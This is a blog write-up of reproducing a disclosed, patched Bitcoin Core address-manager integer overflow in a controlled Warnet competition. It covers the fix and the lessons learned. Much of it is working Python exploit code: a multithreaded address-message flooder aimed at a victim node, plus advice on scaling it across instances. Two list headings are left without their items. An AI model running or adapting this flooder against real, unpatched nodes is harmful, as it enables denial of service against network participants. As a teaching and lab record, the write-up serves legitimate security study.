J.G. Montoya S.

I'm a Bitcoiner & Software Engineer

@jgmontoya @jgmontoyas
4 February 2025

Exploiting the Bitcoin Core CAddrMan Integer Overflow Vulnerability in Warnet: Battle of Galen Erso

by jgmontoya

On July 31, 2024, Bitcoin Core disclosed a historical vulnerability that allowed attackers to crash Bitcoin nodes through address message spam. Originally discovered by Eugene Siegel and fixed in Bitcoin Core v22.0, this issue demonstrates how even simple integer overflow bugs can have significant security implications.

The Vulnerability

The flaw centered on Bitcoin Core’s address manager (CAddrMan), which maintains a list of known peer addresses. Every time a new address is added, a 32-bit counter (nIdCount) is incremented to generate a unique identifier. The critical problem was that this counter could overflow after 2^32 insertions, triggering an assertion failure and crashing the node. Since address messages are essentially free to send (unlike transactions that require fees or blocks that require proof-of-work), this presented an effective denial-of-service attack vector.

Reproducing in Warnet: Battle of Galen Erso

Thanks to my previous participation in Librería de Satoshi’s B4OS (b4os.dev) program, I was invited to take part in Chaincode Labs’ Battle of Galen Erso, a game designed as part of their BOSS program (more information here). I participated as a member of the “Aqua” team.

The game set up a custom Warnet network, having nodes running various versions of Bitcoin Core, each with different vulnerabilities. The goal was to take down as many nodes as possible by exploiting these weaknesses. You can find the specific details here.

I created a scenario to demonstrate the CAddrMan integer overflow vulnerability in this controlled environment, and I successfully took down a couple of nodes using the exploit. The main ingredients of the exploit were:

Below is a look at the key parts of the exploit.

Threading

The exploit launches multiple threads that send address messages concurrently. Each thread is assigned a unique first octet, ensuring that no two threads send the same addresses thus maximizing efficiency.

When the scenario starts, it creates a number of threads based on the self.total_threads test parameter (I could have accepted this as a command-line argument, but I opted for simplicity). For example, I set self.total_threads to 24 and designated the victim node via the self.victim parameter:

class AddrSpammer(Commander):
    def set_test_params(self):
        self.num_nodes = 1
        self.total_threads = 24
        self.victim = "tank-0139-aqua.default.svc"
        ...

Next, we start the threads, each with its own unique first octet (explained below). Each thread executes the spam_from method, which contains the main logic of the exploit. Meanwhile, the main thread monitors all worker threads and restarts any that fail:

def run_test(self):
  ...
  self.first_octets = random.sample(range(1, 255), self.total_threads)

  for thread_index in range(self.total_threads):
      self.counters.append(0)
      thread = threading.Thread(
          target=lambda thread_index=thread_index: self.spam_from(thread_index),
          daemon=False,
      )
      self.threads.append({"thread": thread, "thread_index": thread_index})
      thread.start()

  while len(self.threads) > 0:
      for thread in self.threads:
          if not thread["thread"].is_alive():
              thread_index = thread["thread_index"]
              self.log.info(f"restarting thread {thread_index}")
              self.first_octets[thread_index] = self._get_new_first_octet()
              thread["thread"] = threading.Thread(
                  target=lambda thread_index=thread_index: self.spam_from(
                      thread_index
                  ),
                  daemon=False,
              )
              thread["thread"].start()
      time.sleep(10)

Main Exploit Logic

The spam_from method is where the action happens. In this method, we first connect to the victim node using the P2PInterface class. Then, we enter an infinite loop that continuously sends address messages to the target. Note that we use send_message (instead of send_and_ping) since we do not need responses, we simply want to flood the node as quickly as possible.

def spam_from(self, thread_index):
    self.log.info(f"Thread {thread_index} attacking {self.victim}")
    attacker = P2PInterface()
    attacker.peer_connect(
        dstaddr=self.dstaddr, dstport=self.dstport, net="signet", timeout_factor=1
    )()
    attacker.wait_until(lambda: attacker.is_connected, check_connected=False)

    while True:
        msg = self.setup_addr_msg(thread_index)
        attacker.send_message(msg)

Address Generation

To avoid sending duplicate addresses, we partition the IP space among threads. Each thread uses a unique first octet (from self.first_octets) and maintains its own counter (self.counters) to generate unique addresses on every iteration. We send addresses in batches of 1000 as this is the maximum number allowed in a single address message (see Bitcoin Core source code).

def setup_addr_msg(self, thread_index):
    counter = self.counters[thread_index]
    addrs = []
    for i in range(1000):
        addr = CAddress()
        addr.nServices = P2P_SERVICES
        addr.ip = f"{self.first_octets[thread_index]}.{(counter >> 16) & 0xFF}.{(counter >> 8) & 0xFF}.{counter & 0xFF}"
        addr.port = 1 + ((counter >> 24) + i) % 65535
        self.counters[thread_index] += 1
        addrs.append(addr)

Scaling Beyond Threads

This, as explained above, works. However, you might find that it’s still slow. While the multithreaded approach helps mitigate the blocking nature of sending messages, Python’s Global Interpreter Lock (GIL) means that true parallelism is limited. The simplest way to scale the exploit further is to run multiple instances of the scenario concurrently. This is why the first octets are generated using a random seed.

You might have noticed the following in the thread restart logic:

self.first_octets[thread_index] = self._get_new_first_octet()
thread["thread"] = threading.Thread(
    target=lambda thread_index=thread_index: self.spam_from(thread_index),
    daemon=False,
)

The _get_new_first_octet is implemented as follows:

def _get_new_first_octet(self):
    new_first_octet = random.randint(1, 255)
    while new_first_octet in self.first_octets:
        new_first_octet = random.randint(1, 255)
    return new_first_octet

This assigns a new random first octet to the thread upon restart. Although it doesn’t guarantee that threads across different scenario instances are completely distinct, it is sufficient to make the attack work within minutes when running enough instances (provided there’s enough resources available). As you increase both the thread count and the number of scenario instances, you’ll notice from the logs that threads begin failing more frequently, hence the need for an automatic restart mechanism.

Attack Impact and Mitigation

The attack requires sending more than 4 billion addresses to trigger the overflow. While this might seem like a lot, with multiple threads and optimized message generation, it’s achievable in a reasonable timeframe. The fix implemented in Bitcoin Core v22.0 adds a rate limit of one address message per 10 seconds (0.1 per second) with bursts of up to 1000 addresses at once from each peer via a token bucket, making the attack impractical.

The vulnerability highlights the importance of:

  1. Careful handling of numeric types and potential overflows
  2. Rate-limiting peer messages that are essentially free to generate
  3. Protecting against resource exhaustion attacks in peer-to-peer networks

Lessons Learned

This vulnerability demonstrates how “free” peer-to-peer messages can be exploited for denial-of-service attacks. The simple yet effective fix, rate limiting, shows that even when a technical issue (like an integer overflow) remains theoretically possible, practical defenses can make it infeasible to exploit.

Reproducing such vulnerabilities in controlled environments like Warnet is invaluable for:

As Bitcoin continues to evolve, thorough testing and careful attention to implementation details remain critical for maintaining network security.

Back